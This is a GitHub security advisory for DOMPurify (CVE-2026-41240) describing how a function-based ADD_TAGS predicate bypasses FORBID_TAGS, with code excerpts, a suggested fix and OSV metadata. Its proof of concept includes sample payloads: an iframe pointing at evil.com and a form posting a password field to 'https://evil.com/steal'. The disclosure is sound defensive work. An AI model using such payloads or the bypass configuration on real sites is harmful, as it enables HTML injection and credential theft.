GHSA-H7MW-GPVR-XQ4M
Vulnerability from github – Published: 2026-04-22 17:34 – Updated: 2026-04-22 17:34There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.
Commit c361baa added an early exit for FORBID_ATTR at line 1214:
/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
return false;
}
The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:
if (
!(
EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits
) &&
(!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated
) {
This allows forbidden elements to survive sanitization with their attributes intact.
PoC (tested against current HEAD in Node.js + jsdom):
const DOMPurify = createDOMPurify(window);
DOMPurify.sanitize(
'<iframe src="https://evil.com"></iframe>',
{
ADD_TAGS: function(tag) { return true; },
FORBID_TAGS: ['iframe']
}
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)
DOMPurify.sanitize(
'<form action="https://evil.com/steal"><input name=password></form>',
{
ADD_TAGS: function(tag) { return true; },
FORBID_TAGS: ['form']
}
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)
Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.
Compare with FORBID_ATTR which correctly wins:
DOMPurify.sanitize(
'<p onclick="alert(1)">hello</p>',
{
ADD_ATTR: function(attr) { return true; },
FORBID_ATTR: ['onclick']
}
);
// Returns: '<p>hello</p>' (onclick correctly removed)
Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:
/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
// proceed to removal logic
}
This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.
Reporter: Koda Reef
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41240"
],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T17:34:17Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.\n\nCommit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214:\n\n /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */\n if (FORBID_ATTR[lcName]) {\n return false;\n }\n\nThe same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:\n\n if (\n !(\n EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function \u0026\u0026\n EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -\u003e short-circuits\n ) \u0026\u0026\n (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated\n ) {\n\nThis allows forbidden elements to survive sanitization with their attributes intact.\n\nPoC (tested against current HEAD in Node.js + jsdom):\n\n const DOMPurify = createDOMPurify(window);\n\n DOMPurify.sanitize(\n \u0027\u003ciframe src=\"https://evil.com\"\u003e\u003c/iframe\u003e\u0027,\n {\n ADD_TAGS: function(tag) { return true; },\n FORBID_TAGS: [\u0027iframe\u0027]\n }\n );\n // Returns: \u0027\u003ciframe src=\"https://evil.com\"\u003e\u003c/iframe\u003e\u0027\n // Expected: \u0027\u0027 (iframe forbidden)\n\n DOMPurify.sanitize(\n \u0027\u003cform action=\"https://evil.com/steal\"\u003e\u003cinput name=password\u003e\u003c/form\u003e\u0027,\n {\n ADD_TAGS: function(tag) { return true; },\n FORBID_TAGS: [\u0027form\u0027]\n }\n );\n // Returns: \u0027\u003cform action=\"https://evil.com/steal\"\u003e\u003cinput name=\"password\"\u003e\u003c/form\u003e\u0027\n // Expected: \u0027\u003cinput name=\"password\"\u003e\u0027 (form forbidden)\n\nConfirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.\n\nCompare with FORBID_ATTR which correctly wins:\n\n DOMPurify.sanitize(\n \u0027\u003cp onclick=\"alert(1)\"\u003ehello\u003c/p\u003e\u0027,\n {\n ADD_ATTR: function(attr) { return true; },\n FORBID_ATTR: [\u0027onclick\u0027]\n }\n );\n // Returns: \u0027\u003cp\u003ehello\u003c/p\u003e\u0027 (onclick correctly removed)\n\nSuggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:\n\n /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */\n if (FORBID_TAGS[tagName]) {\n // proceed to removal logic\n }\n\nThis requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.\n\nReporter: Koda Reef",
"id": "GHSA-h7mw-gpvr-xq4m",
"modified": "2026-04-22T17:34:17Z",
"published": "2026-04-22T17:34:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.